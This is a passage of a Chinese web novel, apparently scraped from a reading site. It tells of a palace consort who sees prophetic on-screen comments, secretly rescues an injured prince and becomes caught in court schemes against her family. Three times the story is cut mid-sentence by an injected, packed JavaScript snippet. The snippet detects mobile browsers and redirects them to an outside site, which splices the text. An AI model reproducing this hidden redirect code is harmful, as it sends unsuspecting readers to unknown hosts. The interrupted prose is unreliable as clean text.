【宝宝怎么还有点害羞呢】 【明明是那两人孤立她】 【都是炮灰,蹦跶不了两天了】 …… 沈岁安有些眼晕,但看见“女主”二字的时候还是硬生生停了脚步,笑道: “安才人住哪个宫,要不要一起?” “姐姐”,宋美人叫住沈岁安,话中满是幽怨,显然是对沈岁安行为的不满。 对于沈岁安突如其来的亲近,安才人表示受宠若惊,对这位刚进宫便让明修媛栽了个大跟头的沈美人本能的有些害怕,回话时的声音都有些怯懦: “嫔妾与宋美人同住拾翠阁。” 沈岁安看向一旁别扭的宋佳慧,知晓她不愿意,便朝她眨了眨眼睛,同时上前亲昵的捏了捏她的手。 低头看着二人交握的手,宋佳慧这才缓和了脸色道:“那好吧,一起就一起。” 一路上,沈岁安打量着这位“女主”,其时仔细看的话,这位安才人也勉强算是个美人,不过在这美人如云的皇宫中就有些不够看了,当然,前提是忽略掉她手上的大金镯子。 在沈岁安眼中,黄金最美! 见气氛沉默,沈岁安有心缓和,问道:“不知安才人闺名?” “嫔妾闺名单一个宁字。” “安宁”,沈岁安在嘴中过了一遍,赞道:“好名字。” “我叫沈岁安,宋美人闺名佳慧。” 安宁点头:“嫔妾记住了。” 到了拾翠阁后,沈岁安正准备告辞,又是几行弹幕飘过。 【明天男女主就该相见了吧】 【对,我记得是男主夜探皇宫被暗卫所伤,遇到了正在遛弯的女主,女主好心救了他】 【期待期待,不想在看女配的戏份了,我们叔嫂文学才是最好磕的】 沈岁安:“……” 她是真没看出来面前这个在她面前紧张到连手都不知道该放在哪里的姑娘,内心居然也会这样狂野。 “明天晚上安才人可有空?” 安宁点头:“不知沈美人有何吩咐?” 沈岁安想起弹幕中的话,她突然想试试,试试看能不能改变一些东西。 她轻笑:“安才人没事的话可以跟着沈美人来蓬莱殿找我玩。” 安才人连声应下。 沈岁安走后,沈佳慧懒得跟安宁寒暄,加上她现在觉得刚结识的好朋友有被抢走的风险,便更加不喜安宁,冷哼一声,甩袖进门。 安宁并不在乎,可她身边的侍女却是忍不下去: “小主,那宋美人也太不把您放在眼里了。” “倒是沈美人跟宫中其他女子不同,和那些传闻也不一样。” 安宁摇头复而又点头,出神地望向沈岁安离开的方向,轻声呢喃道: “还真是个奇怪的人呢。” 明明也不擅长交际,却还是尽最大努力向自己释放善意。 【等等,小炮灰明天晚上要见女主,那谁去救男主?】 【好问题,不知道……】 【原著里有这段?】 【没有,原著里女主甚至不认识小炮灰】 【我觉得你们现在到关注点都错了,重点是如果明日没人去救男主,男主要怎么躲过禁卫追查!】 …… 沈岁安看着眼前一排又一排的弹幕飘过,内心有种在话本里做“反派”故意不让男女主相见的感觉。 可能是因为她不喜太后,所以连带着不喜欢太后所出的庆王。 即便二人素未莫面。 最关键的是,她有种直觉,沈家被抄家的事跟庆王脱不了关系。 所以她自然不会在乎有没有人去救男主,相反,沈岁安巴不得庆王被发现。 14. 伴驾 勤政殿内,檀香袅袅,慕春杳正处理着面前堆成小山的政务。 直到处理好最后一本,慕春杳抬手捏了捏因长时间低头而酸痛的脖子。 “陛下,此等事还是奴才来吧。” “不用。” 慕春杳冷冷拒绝。 知晓陛下不喜与人接触的苏成不再多说,默默退到了一旁。 这时,门外的小太监来报:“陛下,尚寝局的人已经在外面候了一个时辰了。” 慕春杳想都没想:“让她们回去。” 苏成有些为难。 慕春杳自登基后还从未召寝,原本只有一个贤妃在时,只当是贤妃不合陛下心意,再加上和陛下有着那样的渊源,尚寝局的人也很理解陛下不喜欢一个曾经为了荣华富贵放弃过自己的女子。 可选秀后的妃嫔可都是陛下自己选的! 前一段时间忙着处理水患,陛下还能落得个心忧百姓,不近女色的名声。 但要是一直这样发展下去,人们只会觉得陛下是否有什么怪癖,或者是有什么隐疾。 一个皇帝,不能开枝散叶,是要动摇国本的。 也不怪尚寝局的人心忧。 慕春杳显然也是想到了这一层,还是找一个一劳永逸的办法比较好,随后改口道: “算了,让她们进来。” 苏成惊讶,他总觉得今日的陛下有些太好说话了。 尚寝局的秦尚宫进来时,手上还端着一个托盘,上面都是这届宫妃的牌子。 行礼过后,她道:“请陛下翻牌子。” 慕春杳没有理睬,反而在众人不解的目光下,慢条斯理的将案台上的一本奏折抽出,随手扔在了托盘上。 “朕倒不知,朕的后宫何时是秦尚宫在做主?连朕何时幸宫妃都要管。” 秦笙抬眸,对上了那双似笑非笑的眼眸。 她自认为事情做的隐蔽,这两天是一直有宫妃给她塞银子,让她催催陛下召寝,可奏折上的内容将她吓的六神无主,上面清楚的写了哪天何时何地,她收下了多少银子,一切她都无从抵赖。 慕春杳对皇宫的掌控力已经超出了所有人的想像。 秦笙无力的瘫坐在地上,只听上首的人道: “既如此,你不会做这个尚宫有的是人会做。” 秦笙被拖走后,苏成立马跪下请罪: “奴才失察,请陛下降罪。” 慕春杳将后宫交给了他监视,这事却是偶然被暗卫看到上报的。 “无妨,后宫这么大,难免有几个漏网之鱼。” “那新的尚寝局尚宫,陛下有何想法?” “不急。” 短时间之内,慕春杳不想选,尚寝局是个麻烦的地方,将尚宫拔了之后应该可以安生一阵子。 看苏成还一直站在那里,慕春杳拧眉:“怎么,还有事?” 苏成迟疑: “陛下,您就算不召寝,找人伴驾也是好的,不然时间长了,前朝的……” 慕春杳懂了苏成的未尽之言,本想要一口回绝,但不知为何,他脑中忽然浮现出沈岁安的面庞。 于是话到嘴边转了个弯,硬生生变成了: “明日午后,召沈美人来伴驾。” 苏成暗惊,他果然没有看错人。 第二日,旨意传到蓬莱殿时,沈岁安还是蒙的。 自那日宫宴后,慕春杳暴君的形象就已经深入她心,她不明白为何自己都这样低调了,那人怎么还能想起来她? 前来传话的小太监以为沈岁安是太过高兴,接着祝贺道: “恭喜沈美人了,您这还是宫中头一份呢。” 沈岁安笑的勉强:“是,是吗?” “那我还真是挺…荣幸。” 沈岁安调整过后,道了个谢,临走前,还让春花给那小太监塞了个荷包。 小太监也没推辞,又说了些吉祥话。 出门后,他颠了颠手中的荷包,分量很轻,但仔细一摸,里面全是金瓜子。 他感慨沈美人出手大方的同时也决定回去复命时再帮她美言几句,毕竟拿人的手软。 小太监走后,秋月看着自家主子这半死不活的样子,心中有些奇怪: “主子,您是不是对陛下有什么误会?” 每次见了陛下就像见了洪水猛兽般。 沈岁安摇头叹气:“你们都不懂……” 为了主子的未来,秋月觉得她有必要缓和一下二人之间的误会:“主子,其实奴婢觉得,您进宫的这些天,陛下对您还不错。” “怎么说?” 沈岁安好奇,她是真的没有感受到。 “您看,您虽为美人,但却能独居一宫;上次明修媛陷害您时,陛下也没有疑心您,最后还严惩了明修媛;还有这次,找人伴驾陛下最先想到的还是您……” “所以?” 秋月恐沈岁安不解风情,直言道:“所以,陛下心中应该是有您的。” 沈岁安苦笑,凡是都要讲究因果,要不是他将自己安排在蓬莱殿,她也不至于刚进宫就被惦记上,上次的事,他分明就是在作壁上观,看戏似的让她们分出个胜负,至于今日之事…… 沈岁安还没有头绪。 但这些都不能说出口,为了让她们心安,沈岁安还是给了她们一个安心的眼神。 “知道了。” …… 沈岁安伴驾的消息就这样不胫而走,消息传到贤妃宫中时,明修媛也在。 自上次的事后,明修媛可谓是丢了个大脸,对沈岁安自是怀恨在心。 她绞着帕子,看着贤妃依旧镇定自若的脸庞,不由想看看这面具撕下来会是什么样子。 “昨日陛下刚罚了一个尚宫,今日就召了沈美人,莫非…二者有什么关联?” 贤妃心中也疑惑,她捏紧手中茶杯,泛白的手指昭示着她现在并不平静:“再看看吧。” 若是陛下真的对那沈氏有什么不同,那就莫要怪她先下手为强。 世间事就是这样,不患寡而患不均,后位只有一个,只能是她凌蕊的。 明修媛见已经达到了目的,便也不再多说。 …… 往勤政殿去时,沈岁安只带了惊鹊一人,其余人留着殿内守着。 想到今晚约了宋美人和安才人,因为不知什么时辰才会回来,沈岁安贴心的吩咐春花: “晚膳之前我若是还没有回来,就去拾翠阁跟她们说一声不用来了,改明儿我过去一趟。” 今日折子不多,沈岁安到时,慕春杳只剩下一小半没批阅。 通报过后,苏成才将沈岁安往内殿领,途中,沈岁安完全不敢抬头。 苏成表示理解,还宽慰了几句。一般第一次在勤政殿面圣时都会这样。 “嫔妾给皇上请安。” “免礼。” 沈岁安低着头,未曾注意到慕春杳的视线。 眼前女子今日穿了一身淡蓝色碎花襦裙,看着乖巧可爱,实际上心眼子比谁都多。 上首之人一直没有吩咐,沈岁安忍不住抬头,正巧与慕春杳对视上。 慕春杳欲盖弥彰的轻咳一声,想着也不能让人光站着,问道:“会磨墨吗?” 沈岁安点头,走到御案旁,拿起黑色的墨块就开始研磨。 慕春杳欲言又止,沈岁安自觉是他嫌弃自己磨的不好,于是更加卖力的磨。 不一会儿,墨便磨好了,沈岁安放下墨条,活动着有些酸痛的手腕。 慕春杳轻叹:“朱砂。” 沈岁安抬头,不明所以。 慕春杳捏了捏眉心:“朕批奏疏用的是朱砂色。” 沈岁安:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178199|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那你不早说。 许是读懂了沈岁安的沉默,慕春杳难得解释: “朕看你磨的投入,就没叫住你。” 气氛尴尬时,苏成进来报: “陛下,庆王求见。” 听到来人是庆王,沈岁安观察着慕春杳的神色,早就听说二人不对付。 况且,在沈岁安眼中,这不仅是皇帝和亲王之间的争斗,更是男主和男配之间的争夺。 当然,私心中,她还是希望慕春杳能够坐稳这个皇位。 听见庆王,慕春杳神色如常: “宣。” 沈岁安自觉回避,却被拦了下来: “无妨,没什么大事要议。庆王今日进宫探望太后,这会儿只是来请安的。” 说话间,庆王已经进来,再避开也来不及,沈岁安便没走,正好,她也好奇这位“男主”长什么样子。 “臣弟给皇兄请安。” “免礼。” 与女主出场时一样,男主出场也少不了气氛组。 【啊啊啊啊啊,我的灼风王爷出来了】 【天啊,男主比我想象的好看】 【女配你下来,让我去演两集】 …… 慕灼风,沈岁安嘴角一抽,这还真挺话本男主的。 庆王常年身着一袭白衣示人,端的是与世无争。 与慕春杳极具攻击性的容貌不同,庆王眼眸流转时似潺潺春水,面带微笑,让人觉得如沐春风,具有很强的迷惑性。 沈岁安不禁想起昨日安才人也是一身月白色裙子,要么说是一对儿呢,连衣服都差不多。 二人又寒暄了一会儿,庆王看时间差不多,起身告辞: “臣弟还要去母后宫中,就不多留了。” 沈岁安感到庆王最后一眼看的是她,但再看回去时庆王早已收回目光。 晚膳时,慕春杳想起沈岁安爱美食,便留心问了一下: “要留下用晚膳吗?” 沈岁安眼前一亮,她还没吃过御厨做的菜呢,不过想到眼前这人一般都不安好心,她小心翼翼试探道: “可以吗?” “当然”,慕春杳不置可否。 今日的晚膳有椒醋鹅烧猪肉、如意卷、樱桃肉、阿胶羹…… 一道道美食上桌,沈岁安看的目不转睛。 慕春杳眼中的笑意一闪而过,连带着今天的晚膳也多用了点。 这可让进前伺候的人高兴坏了,自水患以来,陛下的胃口一直都不太好,弄的他们也一筹莫展。 御厨更是每日变着花样给陛下做好吃的。 只可惜,收效甚微。 苏成不禁在心中感慨:沈美人怕是会有大造化。 “你跟唐尚宫很熟?” 没有多余的试探,慕春杳直接问道。 “唔,不痩~”,话出,沈岁安才发觉嘴里还有东西,随后又不好意思的闭上了嘴。 慕春杳点头,没再多问。 自那天唐霄然公然帮助沈岁安后,不但众妃嫔,就连慕春杳也让人留意着二人的关系。 哪怕有一点不对劲,他都会把人换下来。 他忌讳女官和妃嫔走的近。 可事实好像真的像是唐霄然说的那样,她只是来陈述一个事实。 沈岁安自那天起也就再也没见过唐霄然,就连她亲自带着礼物上门道谢都被拒之门外。 用完晚膳后,见慕春杳并没有留寝的意思,沈岁安识趣的告退。 但不知为何,她总感觉,这位御前大公公,对她的态度多了一丝殷勤。 不过很快,沈岁安便不再关注。 因为就在她回宫的路上,一位身穿夜行衣的男子猝然倒在她眼前。 沈岁安脑中只有一个想法: 完蛋,剧情落她头上了。 15. 截胡 沈岁安现在最后悔的事就是为了绕近路而走小道。 幸而大内侍卫还没有巡到这边,沈岁安身边也只带了惊鹊和一个小太监。 惊鹊和那小太监都是沉稳之人,见到来人虽不至于吓出声,但还是条件反射般拉着沈岁安往后退了一步。 “这是?” 惊鹊作势要去摘面罩,沈岁安先一步将人拦下: “别摘,知道的越多,死的越快,你主子我惜命。” 男人深吸了一口气,手从腰间扯下来一块腰牌,压着嗓音开口: “我乃陛下近身暗卫,若是几位能够出手相救,在下必有重谢。” 沈岁安闻言向前走,就在庆王以为人是向自己走来正准备伸出手时,沈岁安恍若无人般从他身边走过。 “多一事不如少一事,大人还是去找其他有缘人吧,恕不奉陪。” 【不是吧,剧情怎么变了?】 【照这样发展下去,没人救男主的话,一会儿就能被皇帝的人发现】 【男主死了,剧情不就崩了?】 【哈哈哈哈哈哈哈提前全剧终是吗?】 【不止吧,可能还会引起一些蝴蝶效应,其他人也活不了】 …… 沈岁安脚步微顿,说实话,她也不知道剧情崩掉的话会有什么后果。 有可能就像他们说的一样全剧终,但如果这真是一本书的话,主角死了,其他人真的还能活吗? 说实话,沈岁安至今不想相信自己活在一本书中,因为她能感觉到自己是鲜活的,宋美人、安才人,包括春花秋月她们,对于她来说都是真实存在过的。 沈岁安深吸一口气,道了声:“真麻烦。” “主子,您想回去救那位?” 虽然不知沈岁安为何忽然改变了主意,但惊鹊还是想要劝住她。 “回去看看。” 还在的话就救,不在的话,只能说天要他亡。 不得不说,男主总是有点气运这种东西在身上的,即便沈岁安已经走了好远,庆王也只是做起身来靠在了一旁的假山上。 听到脚步声,他警惕的抬起头。 待看清是沈岁安后,他才放松下来。 可沈岁安却精准的发现了他袖中藏着的暗器,恐怕她若是敢作出半分要伤害他的事,现在躺在地上的就是她了。 “沈小主这是回心转意了?” 沈岁安讥讽回去:“不过是怕你死在这,本小主半夜会做噩梦。” “人还是不能太有良心了些。” “怎么样,能走吗?” 庆王嗤笑,眼神像是在看白痴:“本…我要是能走也不必困在这里这么久。” “惊鹊,小顺子,你们俩扶着他。” …… 蓬莱殿内,宋美人和安才人都在。 原本春花听说沈岁安留在了勤政殿用晚膳,便亲自去了一趟拾翠阁将传话,谁知还是晚了一步,拾翠阁只剩下了安才人。 宋美人提前去了膳房为自家主子准备晚膳,这会儿应该已经到蓬莱殿了。 安才人也不想失约,提出去蓬莱殿等候。 于是便有了如今殿中这幅场景。 宋美人不喜安才人,自顾自的和身边人聊天,安才人也不自讨没趣,在一旁安静的坐着。 直到一声“咕噜噜——”,将原本还算和谐的气氛打破。 殿内众人向安才人看去,安才人此刻脸红的像是要滴血。 她不好意思的朝宋佳慧笑笑:“抱歉,午膳没用多少。” 宋佳慧看安宁如此,也不好再说些什么。 她看向一旁的食盒,几番纠结后还是道:“罢了,反正放着也是浪费,你拿去吃吧。” 安宁本想拒绝,但宋佳慧身边的侍女眼疾手快的将食盒打开,看见里面装着的东西后,拒绝的话安宁一个字都说不出来。 宋美人挑眉:“怎么,不合胃口?那算……” “不,很合胃口,谢谢姐姐赏赐。” 宋美人无奈笑笑,只觉得安宁这幅样子还…怪可爱的。 也没从前那般讨厌。 沈岁安不知这边一副岁月静好的样子,她在发愁如何能掩人耳目的将人带回去。 如今的庆王已经完全不省人事,需要两个人才能勉强架住。 这让沈岁安好奇话本中安才人是怎么救的人。 正想到这儿,好巧不巧弹幕就出来了。 还真是打瞌睡就送枕头。 【我没看错吧,小炮灰救了男主?】 【前面的,你没看错。但她现在好像在犹豫怎么把男主送回去】 【原著是怎么说的?】 【原著什么都没写,安才人好像是直接带人进去的】 【这都没被发现?(震惊)(离谱)】 【没(摊手)(可爱)】 …… 沈岁安看着弹幕两眼一黑,如果她真这样干,别说等到剧情,明天那暴君就能给她扣上一个谋反的罪名抄家。 “嘶,咱们蓬莱殿是有后门的吧。” 小顺子点头:“有是有,不过也有人守着。” “无碍,我把他们引开。” 就这样,沈岁安带着惊鹊绕道了蓬莱殿正面。 只见沈岁安上台阶时,因为“没站稳”而身体前倾,随即倒在了台阶上。 “啊——” 一声惨叫过后,蓬莱殿的侍女太监们才慌了神,连忙将人扶起。 后面守门的两人听见前面那么大动静也纷纷赶去。 小顺子一人找准时机连拖带拽的将庆王弄到了蓬莱殿内。 他刚刚说自己是暗卫,小顺子也没多想,就把人放到了自己房间。 他是蓬莱殿的大太监,一个人住一间房,勉勉强强还能在再放下一个人。 “主子,您没事吧?” 惊鹊扶起沈岁安,虽然知道很大的可能是装的,但看见沈岁安面上的痛苦不似作伪,担忧她真的伤到了骨头。 “小主,要请太医吗?” “不用”,沈岁安一口回绝。 笑话,慕春杳这会儿不可能不知道庆王的事,现在请太医,怕不是上赶着认罪。 “我没事,走吧。” 沈岁安刚刚那一下确实崴着了,她扶着惊鹊的手,一蹦一跳的进去。 “沈姐姐,你怎么了?” 宋美人听见动静,不放心的出来看看,安才人紧随其后。 “没事”,沈岁安咬牙:“就崴了一下。” 宋佳慧和安宁再三确认过沈岁安没事后,看天色已晚,才一步三回头的出去。 看得出来,如果可以,宋美人是真的很想住在蓬莱殿的。 见人都走后,沈岁安松了口气,拉着春花就往小顺子那边走。 当春花看见小顺子床上躺着一个男人,还是个俊秀的男人时,着实被吓得不轻。 她低声:“小主,奴知道深宫寂寞,但您要是想偷吃的话,好歹把人带到自己房里吧。” 沈岁安弹了一下春花的脑门,又羞又怒:“想什么呢?给他看看伤,能救就救,不能救现在就把这烫手的山芋扔出去。” 春花这才去看,半晌道: “此人伤的并不重,都是些皮外伤,只是失血过多才导致晕厥。” 沈岁安点头,再次感叹男主命大。 …… 另一边,勤政殿的暗卫噤若寒蝉。 上首的男子幽幽开口: “你们的意思是说,你们这么多人都没有追到老二?” “那朕要你们何用?” 话毕,慕春杳抄起手边的镇纸扔了下去,砸在了为首的暗卫头上。 血顺着头流了下来,可那暗卫却丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178200|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫不敢动。 这事他无可辩解,的确是他将人跟丢的。 “苏成。” “奴才在。” 慕春杳一手捏着眉心,一手轻扣着桌面,拧眉沉思。 “今晚宫中可有什么异动?” 苏成想到刚刚下人来报,心沉了几分,还是如实道: “今夜无事,就是…沈美人回宫时在宫门口崴了一脚。” “可有请太医?” 慕春杳追问。 “那倒没有。” 苏成一愣,随即反应了过来。 庆王虽说逃跑,但也被陛下的暗卫重伤,若是躲避,定是要请太医的。 “奴才突然想起,太后今日晚间刚好不舒服,请了太医。” 太后,倒是比沈岁安更有可能。 他故意放出先帝曾留有传位遗诏的消息,就是想要请君入瓮。 这样好的机会错过了不知还要再等多久。 “罢了,接着去找,找不到自去领罚。” 暗卫们如释重负,悄无声息的退出内殿。 “陛下,那沈美人那边?” “明日接着传,不是崴脚了吗?朕找机会试试她。” …… 天还未亮,慕灼风便悠悠转醒。 他打量着屋内陌生的陈设,才反应过来自己在哪。 小顺子自打昨日在主子那里得知这人身份可能不一般后,就找了个借口去其他人的房中睡。 美其名曰孤独,想找个伴。 这理由还算正常,并没有引起怀疑。 趁着众人还在休息,慕灼风离开了蓬莱殿。 临走前,回头看了一眼,正好看到了蓬莱殿的牌匾。 蓬莱殿,沈美人。 有意思。 这边还在有意思,沈岁安那边却感觉天塌了。 【你们不觉得奇怪吗?这女配好像有未卜先知的能力】 【我我我,我感觉到了,好几次重要的节点都是这边出了问题】 【而且她时常发呆,我有一个大胆的猜测,她不会能看见咱们说话吧?好多弹幕文都这样写】 【不会吧,咱们这又不是弹幕文,这可是正经男频权谋】 …… 沈岁安惊讶于弹幕的敏锐,同时又反反思了一下自己这段时间是不是做的太明显了。 好像确实是。 正思考时,御前再次来人。 还是那位公公,只不过态度比上次还要好一点,甚至如果一定要形容的话,是……谄媚。 “奴才请沈美人安。” “福公公请起。” “陛下昨日听说沈美人摔了一跤,特派奴才来看看沈美人。” 沈岁安了然:“就是脚崴了一下,没什么大碍,公公替我谢过陛下。” 福公公笑意更深:“不用奴才替您谢,陛下念及沈美人不便,特赐了轿撵,今日还是您伴驾。” 沈岁安:…… 这算什么恩赐? 一路上,沈岁安虽然坐上了心心念念的轿撵,却都在思索慕春杳的用意。 直到到了勤政殿门口时,弹幕再次出现,只不过这次清一色的都是提示: 【待会儿会有一条白猫跑出来扑倒小炮灰】 【小炮灰一定要躲过去啊!】 …… 沈岁安直觉这是试探,但已经来不及思索,迎面窜出一条白猫向沈岁安扑来。 如果沈岁安的脚真的崴了绝对躲不过去,可她没有。 火光电石间,沈岁安什么都想明白了,为何慕春杳明知她不便却还是宁愿给她轿撵也要让她过来。 或许,这不仅仅是弹幕对她的试探,也是慕春杳的。 因为人的第一反应总不会骗人。 所以,白猫扑来时,沈岁安装作想躲却又躲不掉的样子,向后仰去。 16. 设计 想象中的疼痛并未到来,慕春杳不知何时下来的,快到只剩下残影,在最后一刻接住了她。 只不过这次事出紧急,男人的手掌不是扣在了她的腰间,而是顺手拽住了她的衣带。 好像他们每一次接触都是以这种暧昧又尴尬的姿势。 沈岁安今日穿了一件齐腰的衣裙,可惜质量不怎么好,还没等她反应过来,衣带“啪”的一声断掉。 沈岁安还是仰头摔倒在了地上。 “哎呦!” 沈岁安:合理怀疑他是故意的。 慕春杳:“……” 他也不知道这个衣带会这么脆弱。 “爱妃快起。” 沈岁安感觉“爱妃”这两个字从慕春杳口中说出来异常别扭。 也不知他对几个人说过这两个字,这满宫嫔妃怕不是都是他的“爱妃”。 不过腹诽归腹诽,她怕慕春杳又来扶她,还是装作受宠若惊的样子迅速起身,中间还不忘装作一只脚崴了的痛苦样子。 慕春杳见此,默默收回了伸出去的手。 场面一度静默着。 沈岁安低头,将开掉的腰带接着系上。 慕春杳注视着她的动作,平常倒是无所谓,可现在总觉得有几分旖旎,尤其这腰带还是自己间接“解开”的。 沈岁安似有所感,抬头看去,慕春杳立马收回目光看向别处,动作有些欲盖弥彰,她敏锐的发现他的耳尖红了一片。 沈岁安向外看去,烈日当空,今天的天气是有点热。 几行弹幕飘过: 【所以,她到底看见还是没看见?】 【没有吧……】 【我感觉你们想多了】 …… 看见弹幕渐渐打消了疑虑,沈岁安终于放松下来。 之后慕春杳也没再多留沈岁安,他又让人将沈岁安抬了回去。 可能是心虚,也可能是真的愧疚,他还赏了沈岁安许多名贵的料子。 流水般的赏赐跟着沈岁安进了蓬莱殿,一路上可谓是浩浩荡荡,万众瞩目。 不一会儿,消息就飞遍了后宫各地,对于沈岁安突然得宠的原因,可谓是众说纷纭,但声量最大的,还是陛下有意立沈美人为后的说法。 只不过不管那一样,都不是贤妃愿意听见的。 她低骂:“狐媚子,受伤了还要勾引陛下。” 小翠一惊:“娘娘,慎言。” 贤妃深吸一口气,半晌,气渐消,对小翠道: “去,请明修媛过来。” 她踱步到窗前,看着花房精心培育的月季,抬手轻轻抚.摸它的花瓣,幽幽道: “后位,只能是我一个人的。任何妄图染指后位的人,都该死。” 她可以不在乎皇帝到底宠爱谁,但后位必须是她凌蕊的。 小翠不敢再多言,立马去寻明修媛过来。 明修媛来后,贤妃拉着她说了好些话,话里话外总结下来只有一个意思—— 帮她对付沈岁安。 这的确是明修媛喜闻乐见的结果,但凭何要她打头阵,好处却全被贤妃占了? 明修媛不动声色的掩去眼中的嘲讽,提醒道: “娘娘别忘了,沈岁安的背后是沈相,若是不能一击致命,被反噬的就是我们。” “难道我们什么都不做?” 贤妃不满,觉得明修媛在敷衍她。 “不是什么都不做,对付她最简单的办法便是……” 明修媛一顿,走近贤妃在她耳边低语:“直接对付沈相。” 贤妃惊诧,抬头望去,她清晰的看见了明采薇眼里的野心。 涉及到沈相,出手的就只能是凌家。 明修媛知道,这样大的事贤妃也不能自己做主,需要时间考虑和布局。 她往后退了一步:“臣妾告退,刚刚的提议还望娘娘三思。” 人在冲动时做事总是很迅速,不需要再考虑,贤妃当晚就给家中写了信。 凌家家主思虑了一番,同意了女儿的提议。 只能说二人不愧是父女,看人的眼光都是一样的,用人光逮着一家薅。 凌源是当朝御史,而明修媛的父亲明言是个小言官,归他管辖。 让明言去打头阵试试陛下的态度最好不过。 明修媛听到这个消息后,暗恨凌家势大欺人,同时也怪自己搬起石头砸自己的脚。 木已成舟,现在说什么都晚了,两家是一条绳子上的蚂蚱。 沈岁安再次看到弹幕时,正和宋美人、安才人她们在一起打叶子牌。 正轮到沈岁安发牌时,眼前飘过一句: 【走到女配抄家情节了】 【这下小炮灰真成炮灰了】 【不一定吧,现在跟原著出入还挺大的,原著里,她们根本不认识好吧,现在都能坐一起打牌】 【都收收吧,别再剧透了】 …… 看来上次的事后,他们还是没有打消疑虑。 沈岁安想着想着便走神了,走神的后果便是脑子跟不上手,将一手好牌打的稀巴烂,然后就—— 输了。 宋美人奇怪的看着沈岁安,她先前算过沈岁安的牌,不可能输。 反倒是她的牌,千奇百怪的,必输无疑。 越是这样想,宋美人就越觉得沈岁安就是在故意让着她,心下感动,决定以后一定要再对沈岁安好点,给她做好多好吃的。 沈岁安不知宋美人心中的想法,只感觉有一道忽视不掉的炽热目光落在了她的身上。 她无暇探究其中缘由,先行起身告辞。 沈岁安匆忙离去,宋美人双手托腮看着她的背影,感叹道: “沈姐姐真是个好人!” “是啊”,安才人附和着,二人近来因为沈岁安的缘故关系缓和了不少,最起码宋美人能心平气和的和她说话。 一路上,沈岁安边走边想她会因为什么被抄家。 能让她抄家的罪,肯定不是后宫里发生的,一来她的身份不够,二来弹幕曾说最后获利的会是庆王。 那就是朝堂上的事了,她们要动父亲还是祖父? 进宫后,她一直安安静静待在宫里,每天就睡睡觉,打打牌,要说唯一起过冲突的也就只有明修媛。 而明修媛和贤妃是穿一条裤子的,也就是说,会是凌家出手。 沈岁安不知道自己推测的八九不离十,心中隐隐惶恐着。 她向家中写了封信,信中隐去了弹幕的部分,只说是自己做了个梦,梦中家里被抄家,祖父和父亲纷纷下狱。因为太过真实,以为是上天示警,自醒来后一直惶惶不安,于是去信一封,让祖父最近小心。 …… 信很快就被暗卫呈到了御案上。 此刻,慕春杳的桌案上分别摆着贤妃、明修媛和沈岁安的信,上面的内容一览无余。 他并不惊讶于贤妃会着手对付沈岁安,让他意外的是,沈岁安居然能够猜出来个大概。 看完后,慕春杳让人将信又原封不动的装了回去。 “陛下,那这些信?”苏成有些拿不准主意。 慕春杳淡淡道:“是谁家的就给谁送去。” 他这次不打算插手凌沈两家的博弈,对他来说,谁赢了他都不亏。 沈家这两年如日中天,占据六部众多要职,若是凌家能赢,他正好借机安排自己的人进去。 相反,凌家这几年也是愈发不知收敛,已然将后位当做了囊中之物,沈家赢了正好灭灭他们的威风。 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178201|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁安接连等了几日都不见前朝后宫有任何消息,就连祖父他们也未给她回信。 天空暗沉沉的,接连几日的低气压让沈岁安喘不过气,感觉老天是在憋一场大雨,她感觉自己的心始终落不到实处,睁眼闭眼都是沈家大难临头,而自己被打入冷宫没有饭吃的样子。 终于在第六日的时候,前期积累一切的终究爆发出来。 大雨从早晨就开始下,乌云徘徊在紫宸殿上方笼罩着整片天空,朝臣的心也起起伏伏。 无他,今早明拾遗突然上书参了沈尚书一本,言他身为吏部尚书却不举贤能,反而结党营私,任人唯亲,将朝堂搅和的乌烟瘴气。 他说的言之有理,证据确凿,要不是沈平川提前收到了女儿的信,这会儿恐怕自己都要信以为真。 慕春杳看着明言呈上来的近三年来各地官员升迁名单,共三百四十一人,其中有仅四分之一人姓沈,还有一部分是沈相的学生。 慕春杳其实原来对沈家的势力也没什么概念,如今一看,才发觉之前了解的那些只是冰山一角。 他让苏成将东西呈下去供众臣观看,刚刚还有替沈平川说话之人立刻噤若寒蝉,生怕受到这场祸事的牵连。 “沈相,这就是你养的好儿子?” 沈文进正要请罪,凌源先一步开口: “沈相不必着急。” “陛下,臣有另一桩要事启奏。” 慕春杳颔首,示意他说下去。 “臣要参沈相,蔑视君威,擅自矫召。” 霎时间,朝堂寂静无声,众人还在消化这凌源刚刚的话,恨不得将耳朵捂上,当没听见。 慕春杳也没想到凌源上来就玩这么狠的,但这样大的事,若是没有确凿证据,诛九族的就是他。 于是,慕春杳面色微沉,望向凌源的目光尽是上位者的压迫感: 